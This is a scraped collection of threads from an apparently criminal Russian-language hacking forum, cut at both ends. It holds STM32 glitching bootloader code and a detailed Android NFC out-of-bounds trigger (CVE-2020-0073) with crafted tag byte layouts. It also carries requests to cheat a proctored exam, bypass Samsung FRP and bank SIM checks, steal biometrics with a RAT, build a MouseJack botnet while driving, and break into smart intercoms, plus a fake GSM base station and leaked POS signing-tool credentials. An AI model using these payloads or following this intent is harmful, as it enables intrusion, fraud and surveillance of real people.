        bVar4 = uart_get_char();
        bVar5 = uart_get_char();
        if (bVar5 == (byte)(bVar3 ^ bVar1 ^ bVar2 ^ bVar4)) {
            usart_write_byte(0x79);
            return (uint)bVar2 << 0x10 | (uint)bVar1 << 0x18 | (uint)CONCAT11(bVar3,bVar4);
        }
    }
    return 0x55555555;
}

Код 3: Реализация загрузчика STM32 для проверки RDP и чтения памяти по заданному адресу

Для подготовки к глитчингу цели необходимо реализовать протокол, описанный выше, для некоторых команд загрузчика STM32.

Результирующий класс включает различные функции "cmd_read_memory_partX", которые теперь можно использовать для глитчинга. Эти функции разделяют команду на три фазы, основываясь на проанализированном выше потоке:

  1. Фаза инициализации
  2. Фаза оценки
  3. Фаза дампа

Такое разделение позволяет более точно контролировать процесс глитчинга, фокусируясь на конкретных этапах выполнения команды чтения памяти.

Переведено специально для XSS.is
Автор перевода****:**** ordinaria1
Источник: sec-consult.com/blog/detail/secglitcher-part-1-reproducible-voltage- glitching-on-stm32-microcontrollers/

Получение данных видеопотока HDMI на ноутбук
ID: 676535aeb4103b69df373576
Thread ID: 113675
Created: 2024-05-01T14:19:35+0000
Last Post: 2024-05-04T20:15:35+0000
Author: Haus
Replies: 5 Views: 939

Скоро сдаю онлайн-тест, но понимаю, что не справлюсь без внешней помощи. Приложение самого теста устанавливается на Windows. Оно полностью отслеживает процессы, полагаю, что трафик и подключенные устройства. Вот размышляю над тем, как получить картинку из HDMI на второй ноутбук и потом её уже транслировать специалисту.

Рассматривал много вариантов, но за разумный ценник как-то не нашёл: HDMI EDID Emulator, HDMI Matrix Switcher, карты видеозахвата. Рассматривал вариант в картой видеозахвата, но нигде нет информации, детектит ли её сама операционная система, или она просто пропускает весь сигнал через себя. Кто сталкивался с похожим, какие есть варианты?

P.S. Также рассматривал просто установить ратник, но боюсь детекта. Если обнаружат, то заблокируют доступ навсегда.

ПО для разработки под POS-терминалы Ingenico Telium2
ID: 676535aeb4103b69df3735fa
Thread ID: 59966
Created: 2021-12-11T15:07:56+0000
Last Post: 2023-01-18T13:18:07+0000
Author: LM-68M
Replies: 1 Views: 937

В далёком две тысячи четырнадцатом на рутрекере была создана раздача ПО для разработки под данные терминалы. В настоящее время она почти никем не раздаётся, но мне повезло её выкачать, поэтому я решил перезалить её сюда, тем более, что в комментариях там написали, что автор сам поддерживает закачку на другие ресурсы.
Сам я достаточно долго искал данные файлы, поэтому, думаю, стоит распространить.

![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- folder.png&hash=63d46597e69ae4a51888711a37d2bf45&return_error=1)

[ File folder on MEGA

](https://mega.nz/folder/cRo2HLgB#kVaYMVp2ambuKyzq8FRDvg)

mega.nz mega.nz

По ссылке материалы раздачи, а также несколько найденных мною приложений для терминалов.

Оригинальное описание:

Инструменты для разработки под платёжные терминалы Ingenico
Год/Дата Выпуска: несколько лет
Версия: 7.18.03 Build 20130215
Разработчик: Ingenico
Сайт разработчика: www.ingenico.com/ru/index.html
Язык интерфейса: Английский
Таблэтка: Не требуется
Системные требования: Как для Eclipse (IngeDev построен на ней)
Описание: Среда разработки Ingedev 7
Telium SDK разных версий: от 6.5.3 до 9.10.2
Инструмент для загрузки ПО в терминалы: Local Loading Tool
Инструменты для подписи ПО: SAT, SST
Драйвера для терминалов
Подборка документации по Telium OS, EMV, BER-TLV, необходимые стандарты ISO и ГОСТы
Данные для входа в SAT и SST: admin - admin (имя пользователя - пароль)

Click to expand...

Комплект состоит из всего необходимого ПО - IngeDev (среда разработки), Telium SDK (ОС для терминалов, библиотеки, вспомогательные компоненты), IngePackager (компоновщик скомпилированных файлов в образ для загрузки в терминал), SAT (Software Authentication Tool) и SST (Software Signature Tool), LLT (Local Loading Tool), а также сопутствующая документация и драйвера.

От себя:
Разумеется, для разработки необходимо иметь терминал Ingenico на базе Telium (к примеру, ICT220 или IPP320).
В комплекте с SDK имеется ПО Telium Manager и операционные системы (Mockup и Production) для целого модельного ряда терминалов.
Нельзя просто так взять и загрузить ваше приложение в терминал. Необходимо подписать его при помощи SST (Telium1) или SAT (Telium2). В обеих случаях вам понадобится сертификат и карта с контейнером закрытого ключа. Всё это получается у представителей Ingenico и именно этим подписывается ПО. Можно обойтись и без этого, но тогда в терминал должна быть загружена Mockup-версия ОС. В случае SAT вам также понадобится терминал со специальным ПО, которое позволяет считывать карту разработчика и связываться с серверами Ingenico.

Нужна помощь с обходом FRP на Samsung / Need help with FRP bypass on Samsung
ID: 676535aeb4103b69df373548
Thread ID: 124000
Created: 2024-10-03T00:51:11+0000
Last Post: 2024-10-30T07:11:21+0000
Author: animal
Replies: 6 Views: 923

RU ;
Дорогие товарищи,
Мне нужен кто-то, кто сможет помочь с обходом FRP на последних патчах безопасности для смартфонов Samsung. Я пробовал что-то через IMEI, но это не сработало. Заранее спасибо! Обещаю угостить своих товарищей пивом. Если я постил это в неправильной теме, пожалуйста, переместите в нужный раздел. Цена 1 доллар

EN ;

Dear comrades,
I need someone who can help me bypass FRP on the latest security patches for Samsung smartphones. I tried something through IMEI, but it didn't work. Thanks in advance! I promise to treat my comrades to a beer. If I posted this in the wrong thread, please move it to the appropriate section. Price 1$

Подборка видео по поиску и эксплуатации уязвимостей в автомобильных системах
ID: 676535aeb4103b69df3735bb
Thread ID: 97603
Created: 2023-09-08T13:31:03+0000
Last Post: 2023-09-08T15:07:32+0000
Author: fatmommy
Prefix: Видео
Replies: 1 Views: 888

Надеюсь правильный раздел. Взял с t . me/cybred.

Самая большая подборка видео, посвященных поиску и эксплуатации уязвимостей в современных автомобильных системах. В системах бесключевого доступа (когда ты с помощью брелка можешь открыть двери, багажник или запустить двигатель), мультимедийных системах и сигнализациях. Некоторые из них могут помочь реализовать слежку за владельцем машины, угнать его автомобиль или устроить аварию.

— Bluetooth Low Energy Link Layer Relay Attack on a Tesla
(

)
— CANSECWEST 2021: Tbone Drone vs Tesla
(

)
— I Hacked Into My Own Car
(

)
— COSIC researchers hack Tesla Model X key fob
(

)
— Analysis and Defense of Automotive Networks
(

)
— Phantom of the ADAS: Phantom Attacks on Driving Assistance Systems
(

)
— Fast, Furious and Insecure: Passive Keyless Entry and Start Systems in Modern Supercars
(

)
— Thieves caught using keyless hack to steal £90,000 Tesla in 30 seconds
(

)
— What REALLY happens when you sync your phone in a car
(

)
— Exploiting fitted car alarms that have insecure apps
(

)
— Car Infotainment Hacking Methodology, Attack Surfaces
(https://www.youtube.com/watch?v=F0mYkI2FJ_4)
— Def Con 26 Car Hacking Village - CANT Tool
(https://youtu.be/TRn_Rz2JIYQ)
— vRS Rolling Code bypass preview
(https://youtu.be/ZMQrEv_fMh8)
— Tesla Model X Hack
(https://www.youtube.com/watch?v=1e3dsJExIYk)
— Elon Musk's view on Automotive Cyber-security
(https://youtu.be/2C-A797y8dA?t=3587)
— Tesla CAN bus data logging
(https://www.youtube.com/watch?v=54jQ7ut3FBA)
— How to steal a Tesla? (Uses fake WiFi hotspot and apps.)
(https://www.youtube.com/watch?v=5jQAX4540hA)
— Canspy: A Platform for Auditing Can Devices
(https://www.youtube.com/watch?v=1hPRcdwQioc)
— Andy Davis & David Claire - Vehicle cyber security and innovative assessment techniques
(https://www.youtube.com/watch?v=PLNyIHBSTXE)
— Ken Munro & Dave Lodge - Hacking the Mitsubishi Outlander & IOT
(https://www.youtube.com/watch?v=YLBQdO6a5IQ)
— Car Hacking Research: Remote Attack Tesla Motors by Keen Security Lab
(https://www.youtube.com/watch?v=c1XyhReNcHY)
— DEF CON 24 - Jianhao Liu, Chen Yan, Wenyuan Xu - Can You Trust Autonomous Vehicles?
(https://www.youtube.com/watch?v=orWqKWvIW_0)
— CAN Denial-of-Service Attack Demo on the Giulietta
(https://www.youtube.com/watch?v=PmcqCbRMCCk)
— CANtact: An Open Tool for Automotive Exploitation
(https://www.youtube.com/watch?v=77PXh8mqH98)
— State Of Automotive Cyber Safety - IATC - Joshua Corman
(https://www.youtube.com/watch?v=WcObDVy2-1I)
— Hacking a Car with an Ex-NSA Hacker: CYBERWAR
(https://www.youtube.com/watch?v=MeXfCNwMG64)
— Car Hacking Research: Remote Attack Tesla Motors by Keen Security Lab
(https://www.youtube.com/watch?v=c1XyhReNcHY)
— Hacking the Mitsubishi Outlander PHEV SUV
(https://www.youtube.com/watch?v=NSioTiaX_-Q)
— The Current State of Automotive Security
(https://www.youtube.com/watch?v=wPKyAvc8kUY)
— High-tech car theft: How to hack a car (CBC Marketplace)
(https://www.youtube.com/watch?v=ARrlhlQiFzM)
— SAE Cyber Auto Challenge Webinar
(http://video.sae.org/12127/)— README 1st - Open Garages
(https://www.youtube.com/watch?v=tKjMreFHTd4)
— DEF CON 23 - Vehicle Hacking Village - Josh Corman - Safer Sooner Automotive Cyber Safety
(https://www.youtube.com/watch?v=IO-MrkyHPpI)
— DEF CON 23 - Samy Kamkar - Drive it like you Hacked it: New Attacks and Tools to Wireless
(https://www.youtube.com/watch?v=UNgvShN4USU)
— DEF CON 23 - Marc Rogers and Kevin Mahaffey - How to Hack a Tesla Model S
(https://www.youtube.com/watch?v=KX_0c9R4Fng)
— DEF CON 23 - Vehicle Hacking Village - Eric Evenchick - SocketCAN
(https://www.youtube.com/watch?v=Ym8xFGO0llY)
— DEF CON 23 - Charlie Miller & Chris Valasek - Remote Exploitation of an Unaltered Passenger Vehicle
(https://www.youtube.com/watch?v=OobLb1McxnI)
— Ford Focus ECU fuzzing at DEFCON 23 Car Hacking Village
(https://www.youtube.com/watch?v=KjcectnX19Y)
— IATC - State of Automotive Cyber Safety - Josh Corman
(https://www.youtube.com/watch?v=g-a20ORka-A)
— OwnStar - hacking cars with OnStar to locate, unlock and remote start vehicles
(https://www.youtube.com/watch?v=3olXUbS-prU)
— Glitch allows hackers to control your car
(<http://edition.cnn.com/videos/tech/2015/07/22/car-hacking-marsh-pkg- tsr.cnn>)
— Hackers Remotely Kill a Jeep on the Highway
—With Me in It
(https://youtu.be/MK0SrxBC1xs)
— Hopping on the CAN Bus introduces CANard by Eric Evenchick at Black Hat Asia 2015
(https://www.youtube.com/watch?v=U1yecKUmnFo)
— Car Hacking by UCSD
(<http://www.pbslearningmedia.org/resource/nvsn6.sci.tech.carhack/car- hacking/>)
— DEF CON 22 - Charlie Miller & Chris Valasek - A Survey of Remote Automotive Attack Surfaces
(https://www.youtube.com/watch?v=tnYO4U0h_wY)
— Car Automation with your Android Phone: OBDLink LX
(https://www.youtube.com/watch?v=Q5p2LZAIZnI)
— 2014 Connected Car Expo: Automotive Cybersecurity: A frank discussion.
(https://www.youtube.com/watch?v=SFZApnWyzjw)
— Another Korean car hacking demo.
(https://www.youtube.com/watch?v=qt1xrRL9ULc)
— Black Hat USA 2014 - Embedded: A Survey of Remote Automotive Attack Surfaces
(https://www.youtube.com/watch?v=mNhFGJVq2HE)
— Your car is a giant computer - and it can be hacked
(http://money.cnn.com/2014/06/01/technology/security/car-hack/index.html)
— How to Hack a Car: Phreaked Out
(https://www.youtube.com/watch?v=3jstaBeXgAs)
— Vehicle Forensics - The Data Beyond the Dashboard
(https://www.youtube.com/watch?v=QjzxGsOm0Vo)
— Mazda RX8 CAN bus control demo of the instrument cluster
(https://www.youtube.com/watch?v=yoiKiuqtafQ)
— DEF CON 21 - Charlie Miller and Chris Valasek - Adventures in Automotive Networks and Control Units
(https://www.youtube.com/watch?v=n70hIu9lcYo)
— Ford wants you to join it in hacking car software and hardware
([https://venturebeat.com/2013/11/06/...t-in-hacking-car-software-and- hardware-video/](https://venturebeat.com/2013/11/06/ford-wants-you-to-join-it- in-hacking-car-software-and-hardware-video/))
— Two experts demonstrate carjacking gone digital
(<http://www.today.com/video/two-experts-demonstrate-carjacking-gone- digital-39068227761>)
— Automotive Consortium for Embedded Security
(https://www.youtube.com/watch?v=N61OL14cvOw)
— Digital Carjackers Show Off New Attacks
(https://youtu.be/oqe6S6m73Zw)
— Decoding CAN bus frames on a Toyota internal bus with SocketCAN and Linux
(https://www.youtube.com/watch?v=KHRPmjwXF1U)
— Luxury car theft
(https://youtu.be/HuLKormzWE4)
— Malicious App to Control a Car (Korean)
(http://news.sbs.co.kr/news/endPage.do?news_id=N1001370933)
— DARPA PM Kathleen Fisher, High Assurance Systems
(https://www.youtube.com/watch?v=3D6jxBDy8k8)
— iDriver - iPhone remote controlled car (https://www.youtube.com/watch?v=oHDwKT564Kk)

Дистанция для упешной атаки MouseJack
ID: 676535aeb4103b69df37357a
Thread ID: 112592
Created: 2024-04-14T21:49:27+0000
Last Post: 2024-04-22T12:34:54+0000
Author: proxy
Replies: 9 Views: 878

Атака осуществляется с помощью hackrf. Транслирует в эфир набор последовательности байт, что вызывает эмуляцию ввода на уязвимых устройствах.
Работает на частоте 2.4 и околоподобных.
Собственно, вопрос. Можно ли кастомную антену + усилитель + hackrf уместить в машину, проехать по главной улице Нью-Йорка от точки А до точки Б, купив попутно чашечку кофе и хот-дог, за одно, пробить все уязвимые офисные устройства добавив их в бот-нет?
Или атака работает в пределах комнаты и о масштабной компании можно забыть?

How Can I Deceive Phone Number Verification Through Mobile Data?
ID: 676535aeb4103b69df37367a
Thread ID: 40974
Created: 2020-08-16T12:17:16+0000
Last Post: 2020-08-16T12:17:16+0000
Author: nusret
Replies: 0 Views: 869

The bank application requests mobile data to be opened via the sim card registered in the bank.
Thus, it verifies the phone number and if it is different, it does not allow access.
How can I overcome this?

Аппаратный хакинг: взлом реальных вещей [2023 рус]
ID: 676535aeb4103b69df3735cc
Thread ID: 90584
Created: 2023-06-15T13:27:48+0000
Last Post: 2023-07-08T19:43:04+0000
Author: handersen
Prefix: Мануал/Книга
Replies: 2 Views: 869

Неплохая книга Джаспера ван Вуденберга и Колина О’Флинна об атаках по побочным каналам, особенно понравилось как расписана идентификация неизвестных чипов и внедрение ошибок.

на рутрекере

Spoiler: Содержание

Предисловие...............................................................................................17
Благодарности............................................................................................19
Введение....................................................................................................21
Глава 1. Следим за здоровьем. Введение в безопасность встроенных систем...28
Глава 2. На кончиках пальцев. Аппаратные периферийные интерфейсы.........69
Глава 3. Что внутри. Идентификация компонентов и сбор информации..........113
Глава 4. Слон в посудной лавке. Внедрение ошибок.....................................166
Глава 5. Руками не трогать. Как внедрять ошибки........................................199
Глава 6. Рубрика «Эксперименты». Лаборатория внедрения ошибок..............248
Глава 7. Цель отмечена крестом. Дамп памяти кошелька Trezor One...............286
Глава 8. Мощный подход. Введение в анализ потребляемой мощности............310
Глава 9. Рубрика «Эксперименты». Простой анализ потребляемой мощности...332
Глава 10. Разделяй и властвуй. Дифференциальный анализ потребляемой
мощности....................................................................................................362
Глава 11. Без формул никуда. Продвинутый анализ потребляемой мощности...396
Глава 12. Рубрика «Эксперименты». Дифференциальный анализ
потребляемой мощности...............................................................................438
Глава 13. Шутки в сторону. Примеры из жизни...............................................467
Глава 14. Подумайте о детях. Контрмеры, сертификаты и полезные байты.......483
Приложение А. Куда потратить деньги. Настройка лаборатории.......................510
Приложение Б. Ваша база — наша база. Популярные распиновки....................556

Где храняться в андроид данные биометрии(отпечатки,голос,фейс)? И как их можно вытащить
ID: 676535aeb4103b69df37361d
Thread ID: 55939
Created: 2021-08-27T07:59:07+0000
Last Post: 2022-05-12T15:46:33+0000
Author: Arab14
Replies: 13 Views: 868

Доброго времени суток! Вчера размышлял на тему что многие сервисы,банки,платежки и т.д уходят в мобильный формат( приложения) и для подтверждения операций или входа просят подтвердить отпечатком пальца на сканера, отсюда вопрос и возникает где хранятся эти данные, в каком формате, реально ли их вытаскивать удаленно через ратник, сейчас говорим о отпечатки разблокировки экрана,с вероятностью 99,9% он и стоит на приложении, а не большой палец ноги))) у кого какие мысли поэтому поводу?

Полноприводный GSM Interceptor
ID: 676535aeb4103b69df373625
Thread ID: 62722
Created: 2022-02-09T20:48:21+0000
Last Post: 2022-02-21T09:01:21+0000
Author: gliderexpert
Prefix: GSM
Replies: 15 Views: 861

Что-то скучно стало наблюдать за однообразием тем "перехват смс при помощи моторолы" - "взлом соседского wifi альфой" - и так по кругу ))

Представляю вашему вниманию альфа-версию моего проекта мобильной(во всех отношениях ) ) псевдо- базовой станции.

Полноприводная - 4WD - 4G / 3G / 2G
Максимальная скорость - 100км/ч
Суммарная мощность передатчиков более 200 ватт
Энергопотребление - 7 литров АИ-92 на 100км
Назначение - поиск потерявшихся людей в лесу (пеленгация, определение имси- имеи, номера телефона),
смс маркетинг (спам), пентестинг энтерпрайз уровня )
Составление списков телефонных номеров людей в заданном радиусе действия и последующая таргетированная
реклама через соцсети.

Ну и все остальное на что хватит фантазии )

bts.jpg

Сейчас занимаюсь апгрейдом до бета-версии, с двумя радиоблоками на борту.

Доступ к умным домофонам и видео-камерам
ID: 676535aeb4103b69df37357f
Thread ID: 110832
Created: 2024-03-19T21:03:03+0000
Last Post: 2024-03-22T09:06:31+0000
Author: rich666k
Replies: 3 Views: 859

Интересует доступ к умным домофонам и системе видеонаблюдения типа Летай 2.0
Вводные: есть мобильное приложение Летай 2.0, для входа нужен логи и пароль от интернета.
Из вариантов что пришло мне в голову:

  1. Делать дубликат ключа, но нужен сам ключ и по итогу доступ к одному лишь подъезду и без доступа к видео.
  2. Соц. инженерия, делать точечные удары по жильцам, путем прозвона, но тоже не понятно где брать информацию, квитанции щас все электронные.
Простой триггер OOB в libnfc-nci (rw_t2t_ndef.cc)
ID: 676535aeb4103b69df373680
Thread ID: 39961
Created: 2020-07-23T18:17:37+0000
Last Post: 2020-07-23T18:17:37+0000
Author: NyanKo
Replies: 0 Views: 838

Введение (кому оно вообще нужно)

О технологии NFC уже слышала даже моя бабушка: бэйджи работников офисов и проездные, телефоны, терминалы оплаты и банкоматы умееют в NFC. Кто-то платит "телефоном" в магазине, а кто-то использует метки для доступа в интернеты одним касанием. Тем не менее, на всякий случай оставлю это здесь:

NFC (near field communication) -- это технология передачи данных посредством радиочастотного поля малого радиуса действия [или не такого уж и малого: google NFCDrip :) ]
Рабочая частота NFC: 13.56MHz +/- 7MHz, так же как и у RFID HF.
Технология совместима с устройствами соответствующими стандартам ISO 15693, ISO 14443, FeliCa.

Основной перк NFC чипов - режим P2P, возможность переключаться между активным (режимом считывателя/записывателя) и пассивным режимом
(режимом тега/карточки) без необходимости повторной инициации соединения. Кроме того NFC устройства должны поддерживать режим ридера
и режим эмуляции карты/тега HCE (Host Card Emulation).

Для любителей технических деталей и стандартов:
Стандарт NFCIP-1(ISO 18092/ECMA 340) описывает взаимодействие двух NFC устройств: модуляция сигнала, генерация поля, кодирование, инициализация итд определяет
пассивынй и активный режимы коммуникации. RF-часть этого стандарта базируется на более раннем RFID стардарте ISO14443A.
NFCIP-2 (ISO21481/ECMA35) - стандартизирует как устйроство должно выбирать соответствующий connection handler, описывает как и при каких условиях ридер или активное устройство (NFCIP-1 инициатор) может включать свое RF-поле.

Теория
(скипать не рекомендую, тут может быть кое-что интересное)

Уязвимый [code path?] кроется в rw_t2t_ndef.cc. Как сказано в хэдере:
"This file contains the implementation for Type 2 tag NDEF operation in Reader/Writer mode."
"В этом файле содержитися имплементация NDEF для тегов Type2 в режиме Считывателя/Записывателя."

Уязвимость связана с операциями чтения/записи тегов второго типа (так же упомянается некий формат NDEF (NFC Data Exchange Format), но для простейшего триггера достаточно иметь представление о мемори-лэйауте этих самых Type2 тегов).

Очевидно, существует несколько типов тегов. А если точнее, то их аж целых 4:

Type 1: Теги данного типа базируются на стандарте ISO14443A. Могут быть как read-only, так и перезаписываемыми. Объем доступной пользоватлю памяти 96 байт (+16 байт на manufacturer ID и прочую служебную инфу): можно хоть URL записать, хоть небольшой файлик. Максимальный объем памяти на таком теге 2kb. Скорость передачи данных - 106 kbit/s. TOPAZ - типичный представитель Type 1 тегов.

Type2: Так же основан на стандарте ISO14443A. RO/RW, а вот базовый объем памяти всего 48байт (как например, Mifare UL), что не мешает производителям выпускать теги и с большим объемом памяти: например, NTAG216 предоставляет 924 байта, а максимальный объем может достигать 2kb. Скорость передачи данных так же как и для тега первого типа 106 kbit/s.

Type3: Базируется на Sony FeliCa, объем памяти 2kb работает на 212 kbit/s.

Tag 4 Type: Совместим с ISO14443A и ISO14443B standards. Обычно эти теги преконфигурированы в момент проихводства и могут быть либо RW либо RO. Обхем паямти до 32KB, а скорость передачи от 106 до 424 kbit/s

Наш подопытный - Type2 тег. Как было упомянуто ранее, чтобы стриггерить OOB нам нужно иметь представление о мемори лэйауте тега.
Лэйаут бывает статическим и динамическим, тип определяется объемом памяти: если у вас тег поддерживает больше 64Кб -- вы счастливый обладатель тега с динамической памятью.

Byte# | 0 | 1 | 2 | 3 | Block# |
----------+-----------+-----------+-----------+-----------+----------+
UID/Intern| intern0 | intern1 | intern2 | intern3 | 0/0x00 |
---------------------------------------------------------------------+
SerialNum | intern4 | intern5 | intern6 | intern7 | 1/0x01 |
---------------------------------------------------------------------+
Intrn/Lock| intern8 | intern9 | Lock0=0h | Lock1=0h | 2/0x02 |
---------------------------------------------------------------------+
CapContain| CC0=E1h | CC1=10h | CC2=6Dh | CC3=00h | 3/0x03 |
---------------------------------------------------------------------+
Data | ... | ... | ... | ... | 4/0x04 |
---------------------------------------------------------------------+
Data | ... | ... | ... | ... | n/0x0n |
---------------------------------------------------------------------+
Lock/Res | ... | ... | ... | ... | ./0x0. |
---------------------------------------------------------------------+
Lock/Res | ... | ... | ... | ... | k |
----------------------------------------------------------------------

Теперь, когда прояснилось с чем мы имеем дело, можно перейти непосредственно к анализу уязвимости.

Анализ уязвимости
В этом коде присутствует как минимум 2 уязвимости (вторая тоже связана со злосчастными лок-байтами хехе), но сегодня мы разберем только одну из них, которая оказалась недостаточно запатченной (google CVE-2020-0073) и тригер будет действительным для состояния ДО патча (тестировала на S9, Android 8.0.0 в марте прошлого года). А про новый вариант уже рассказали :)

Интересующий нас участок кода расположен в функции rw_t2t_handle_tlv_detect_rsp, в которой детектятся разнообразные TLV (Lock TLV, Memory TLV, NDEF TLV) и заполняются соотвествтующие поля структуры tRW_T2T_CB.

TLV (tag length value) - формат представления данных, в котором первый байт (tag) представляет тип данных, поле length может быть однобайтовым или трех- байтовым и содержит длину поля value, а само value - это и есть наши данные (url или просто текст, или еще какая ерунда).

В случае с Lock_Control_TLV значение поля tag всегда будет равно 01h, в поле length всегда будет значение 03h, а поле value состоящее из трех байт представляется следующим образом:
[0] Position - в каком месте на теге находится залоченная (ридонли) зона. Старшие 4 бита(0h-0Fh) - количество страниц, младшие (0h-0Fh) - смещение в байтах.
[1] SIZE - представляет количество битов в залоченной зоне. Интересный факт, возможные значения этого поля 01h=1 до 00h=256. Если число динамических лок- битов не кратно 8, они будут храниться в динамических лок байтах таким образом, что незаполненная часть лок-байта зануляется.
[2] PageCtrl - старшие 4 бита - количество байт, которые один лок-бит может лочить, 01h =1..0Fh = 15, 00h RFU.
младшие 4 бита - количество байт на страницу выражается как 2^байт_на_страницу, может иметь значения от 0h-0Fh, где 0 зарезервирован и не используется (RFU)

Если количество лок-битов не кратно 8, то они будут храниться в блоке динамических байтов, находящихся непосредственно после блока данных.

C:Copy to clipboard

/* Collect Lock TLV */
                p_t2t->tlv_value[2 - p_t2t->bytes_count] = p_data[offset];
                if (p_t2t->bytes_count == 0)
                    {
                        /* Lock TLV is collected and buffered in tlv_value, now decode it */
                        p_t2t->lock_tlv[p_t2t->num_lock_tlvs].offset   = (p_t2t->tlv_value[0] >> 4) & 0x0F;
                        p_t2t->lock_tlv[p_t2t->num_lock_tlvs].offset  *= (UINT8) tags_pow (2, p_t2t->tlv_value[2] & 0x0F);
                        p_t2t->lock_tlv[p_t2t->num_lock_tlvs].offset  += p_t2t->tlv_value[0] & 0x0F;
                        p_t2t->lock_tlv[p_t2t->num_lock_tlvs].bytes_locked_per_bit = (UINT8) tags_pow (2, ((p_t2t->tlv_value[2] & 0xF0) >> 4));
                        p_t2t->lock_tlv[p_t2t->num_lock_tlvs].num_bits = p_t2t->tlv_value[1];
count = p_t2t->tlv_value[1] / 8 +
                        ((p_t2t->tlv_value[1] % 8 != 0) ? 1 : 0);
                /* Extract lockbytes info addressed by this Lock TLV */
                xx = 0;
                while (xx < count) {
                  p_t2t->lockbyte[p_t2t->num_lockbytes].tlv_index =
                      p_t2t->num_lock_tlvs;
                  p_t2t->lockbyte[p_t2t->num_lockbytes].byte_index = xx;
                  p_t2t->lockbyte[p_t2t->num_lockbytes].b_lock_read = false;
                  xx++;
                  p_t2t->num_lockbytes++;
                }
                p_t2t->num_lock_tlvs++;

p_t2t->tlv_value[1] - полностью контроллируемые данные. В цикле xx и p_t2t->num_lockbytes увеличивается count раз. В итоге, мы получаем OOB, передав определенное значение поля size или же создав вложенные TLV для типа LOCK_CONTROL_TLV с нужным значением в поле size.

Структура p_t2t объявлена как tRW_T2T_CB* p_t2t = &rw_cb.tcb.t2t
Если поискать в коде rw_cb, то например в rw_t2t_ntf_tlv_detect_complete найдем вот такую штуку: (*rw_cb.p_cback)(RW_T2T_NDEF_DETECT_EVT, &rw_data);
так что, есть шанс на успешную эксплуатацию :)

В rw_int.h находим tRW_T2T_CB и rw_cb.tcb

C:Copy to clipboard

/* RW memory control blocks */
typedef union {
  tRW_T1T_CB t1t;
  tRW_T2T_CB t2t;
  tRW_T3T_CB t3t;
  tRW_T4T_CB t4t;
  tRW_I93_CB i93;
  tRW_MFC_CB mfc;
} tRW_TCB;
/* RW control blocks */
typedef struct {
  tRW_TCB tcb;
  tRW_CBACK* p_cback;
  uint32_t cur_retry; /* Retry count for the current operation */
#if (RW_STATS_INCLUDED == TRUE)
  tRW_STATS stats;
#endif /* RW_STATS_INCLUDED */
} tRW_CB;
/*****************************************************************************
**  EXTERNAL FUNCTION DECLARATIONS
*****************************************************************************/
/* Global NFC data */
extern tRW_CB rw_cb;

Практика
Для тестов можно использовать как физический тег, так и другое устройство способное сэмулировать пассивный тег/отвечать на запросы. Проксмарк отлично подходит для этой задачи)) Но мне захотелось чего-то экзотического и выбор пал на пачечку тегов NTAG216, потому что они дешевые, у них большой ресурс памяти и их можно приклеить куда хочешь.

Как уже известно, память тега делится на блоки, по 4 байта каждый. Байты 2-3 второго блока - это статические LOCK байты, их оставим пустыми. Интересное начинается с блока 4, где описывается LOCK_CONTROL_TLV (его можно узнать по байтам 01 03). Остается тольлко записать тег и отсканить его телефоном со включенным NFC :) Визуально ничего не изменится, но появится парочка tombstones и сервис nfc будет перезапущен с новым PID.

В дополнение к Lock_Control_TLV тут еще присутствует NDEF :) В патче задефайнили RW_T2T_MAX_LOCK_BYTES рывное 0x1E, чтобы ограничить максимально возможное значение счетчика count. Но, как недавно выяснили ресерчеры, это не сильно мешает,так как респонсы при детекте TLV можно отправлять несколько раз (хотя, количество самих LOCK TLV ограничено: RW_T2T_MAX_LOCK_TLVS 0x05 )

Вот лэйаут тега (тут нет части инфы о теге,так что для эмуляции тега проксмарком стоит добавить версию и подписи, которые есть у настоящих тегов перед блоком 0)

Block# | Data |
---------+-------------+
0/0x00 | 04 34 83 3B |
1/0x01 | B2 F3 59 81 |
2/0x02 | 99 48 00 00 |
3/0x03 | E1 10 6D 00 |
4/0x04 | 01 03 e0 ff |
5/0x05 | 66 01 03 e0 |
6/0x06 | ff ff 03 11 |
7/0x07 | d1 01 0d 55 |
8/0x08 | 01 77 61 73 |
9/0x09 | 6d 2e 72 75 |
10/0x0A | 00 fe 00 00 |
...........
238/0x | 00 00 00 bd |
239/0x | 04 00 00 ff |
240/0x | 00 05 00 00 |
241/0x | 00 00 00 00 |
242/0x | 00 00 00 00 |

Если ваш тестовый девайс обновлен до Android 10.0.0_r16, то можно поэксперементировать с TLV:

Block# | Data |
---------+-------------+
0/0x00 | 04 34 83 3B |
1/0x01 | B2 F3 59 81 |
2/0x02 | 99 48 00 00 |
3/0x03 | E1 10 6D 00 |
4/0x04 | 01 03 00 f6 |
5/0x05 | 00 00 00 00 |
6/0x06 | 00 00 0a 00 |
7/0x07 | 00 00 01 03 |
8/0x08 | 00 f6 00 00 |
9/0x09 | 00 00 00 00 |
10/0x0A | 0a 00 00 00 |
11/0x0B | 01 03 00 f6 |
12/0x0C | 00 00 00 00 |
13/0x0D | 00 00 0a 00 |
14/0x0E | 00 00 01 03 |
15/0x0F | 00 f6 00 00 |
...
xx/0x0x | 03 11 d1 01 |
x1/0x0x1| 0d 55 01 77 |
x2/0x0x2| 61 73 6d 2e |
...

Литература:

![xakep.ru](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2015%2F01%2Fnocontactfeatured.png&hash=e98a4a510043abe07836b73d33cb0c87&return_error=1)

[ Используем NFC для автоматизации ](https://xakep.ru/2015/01/30/nfc-for-

automation/)

9 сентября компания Apple анонсировала смартфоны iPhone 6 и iPhone 6 Plus, одной из особенностей которых стал чип NFC и основанная на нем технология Apple Pay. В презентации основной упор был сделан на возможность бесконтактной оплаты покупок с помощью смартфона, однако на самом деле возможности...

![xakep.ru](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2017%2F06%2Fxakep- favicon-93x93.png&hash=133fa43656be1765722fac39a9e3c87e&return_error=1) xakep.ru

https://www.ecma-international.org/publications/files/ECMA-ST/ECMA-340.pdf

https://www.ecma-international.org/publications/files/ECMA-ST/ECMA-352.pdf

https://www.nxp.com/docs/en/data-sheet/NTAG213_215_216.pdf

Diff - 0aec6aed3031f60da3c4756d70611850011807b7^! - platform/system/nfc - Git at Google

Diff - ce7fcb95d5111ad8c554e7ec8ff02f9b40196cdc^! - platform/system/nfc - Git at Google

STM32 кто знает как сделать переадресацию OTP раздела?
ID: 676535aeb4103b69df3735b6
Thread ID: 68634
Created: 2022-06-14T01:11:55+0000
Last Post: 2023-09-20T23:57:27+0000
Author: Vasif
Replies: 7 Views: 838

Всем ночи доброй.
